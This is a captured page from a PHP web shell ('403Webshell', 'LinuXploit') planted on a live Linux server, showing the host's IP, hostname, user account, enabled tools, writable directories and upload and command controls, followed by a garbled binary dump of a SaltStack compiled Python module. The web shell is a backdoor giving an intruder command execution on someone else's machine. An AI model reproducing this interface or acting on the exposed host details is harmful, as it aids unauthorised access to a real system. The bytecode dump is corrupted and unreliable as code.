403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/eselect.cpython-310.pyc
o

;j��@s"dZddiZdd�Zddd�ZdS)z�
Management of Gentoo configuration using eselect
================================================

A state module to manage Gentoo configuration via eselect

�set_�setcCsdtvrdSdS)zB
    Only load if the eselect module is available in __salt__
    zeselect.exec_actionZeselect)Fz"eselect module could not be loaded)�__salt__�rr�G/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/eselect.py�__virtual__
srNcCs�id|dd�}td|||d�}||krd�||�|d<|S|td||d	�vr6d
�||�|d<d|d<|Std
rKd|�d|�d�|d<d|d<|Std||||d�}|rm||d�|d|<d|�d|�d�|d<|Sd�||�|d<d|d<|S)a�
    Verify that the given module is set to the given target

    name
        The name of the module

    target
        The target to be set for this module

    module_parameter
        additional params passed to the defined module

    action_parameter
        additional params passed to the defined action

    .. code-block:: yaml

        profile:
          eselect.set:
            - target: hardened/linux/amd64
    �T)�changes�comment�name�resultzeselect.get_current_target)�module_parameter�action_parameterz*Target '{}' is already set on '{}' module.r	zeselect.get_target_list)r
z-Target '{}' is not available for '{}' module.Fr�testzTarget 'z' will be set on 'z	' module.Nzeselect.set_target)�old�newrz
' set on 'z,Target '{}' failed to be set on '{}' module.)r�formatZ__opts__)r
�targetrr
�retZ
old_targetrrrrrsH����������)NN)�__doc__Z__func_alias__rrrrrr�<module>s		

Youez - 2016 - github.com/yon3zu
LinuXploit